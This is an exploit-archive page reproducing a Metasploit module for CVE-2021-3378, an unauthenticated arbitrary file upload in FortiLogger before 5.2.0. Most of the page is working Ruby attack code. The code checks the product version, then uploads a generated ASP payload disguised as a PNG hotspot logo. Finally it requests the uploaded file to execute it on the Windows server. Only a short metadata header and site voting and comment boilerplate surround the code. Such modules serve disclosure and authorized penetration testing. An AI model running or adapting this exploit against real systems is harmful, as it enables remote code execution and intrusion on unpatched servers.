FortiLogger Arbitrary File Upload

2021.03.27
Credit: Berkan Er
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::EXE prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'FortiLogger Arbitrary File Upload Exploit', 'Description' => %q{ This module exploits an unauthenticated arbitrary file upload via insecure POST request. It has been tested on versions < 5.2.0 in Windows 10 Enterprise. }, 'License' => MSF_LICENSE, 'Author' => [ 'Berkan Er <b3rsec@protonmail.com>' # Vulnerability discovery, PoC and Metasploit module ], 'References' => [ ['CVE', '2021-3378'], ['URL', 'https://erberkan.github.io/2021/cve-2021-3378/'] ], 'Platform' => ['win'], 'Privileged' => false, 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'FortiLogger < 5.2.0', { 'Platform' => 'win' } ], ], 'DisclosureDate' => '2021-02-26', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(5000), OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/']) ] ) end def check_product_info send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'), 'method' => 'POST', 'data' => '', 'headers' => { 'Accept' => 'application/json, text/javascript, */*; q=0.01', 'Accept-Language' => 'en-US,en;q=0.5', 'Accept-Encoding' => 'gzip, deflate', 'X-Requested-With' => 'XMLHttpRequest' } ) end def check begin res = check_product_info unless res return CheckCode::Unknown('Target is unreachable.') end unless res.code == 200 return CheckCode::Unknown("Unexpected server response: #{res.code}") end version = Rex::Version.new(JSON.parse(res.body)['Version']) if version <= Rex::Version.new('4.4.2.2') CheckCode::Vulnerable("FortiLogger version #{version}") else CheckCode::Safe("FortiLogger version #{version}") end rescue JSON::ParserError fail_with(Failure::UnexpectedReply, 'The target may have been updated') end end def create_payload Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s end def exploit begin print_good('Generate Payload') data = create_payload boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n" post_data << "Content-Type: image/png\r\n" post_data << "\r\n#{data}\r\n" post_data << "--#{boundary}\r\n" res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data, 'headers' => { 'Accept' => 'application/json', 'Accept-Language' => 'en-US,en;q=0.5', 'X-Requested-With' => 'XMLHttpRequest' } ) unless res fail_with(Failure::Unknown, 'No response from server') end unless res.code == 200 fail_with(Failure::Unknown, "Unexpected server response: #{res.code}") end json_res = begin JSON.parse(res.body) rescue JSON::ParserError nil end if json_res.nil? || json_res['Message'] == 'Error in saving file' fail_with(Failure::UnexpectedReply, 'Error uploading payload') end print_good('Payload has been uploaded') handler print_status('Executing payload...') send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'), 'method' => 'GET' }, 5) end rescue StandardError => e fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}") end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top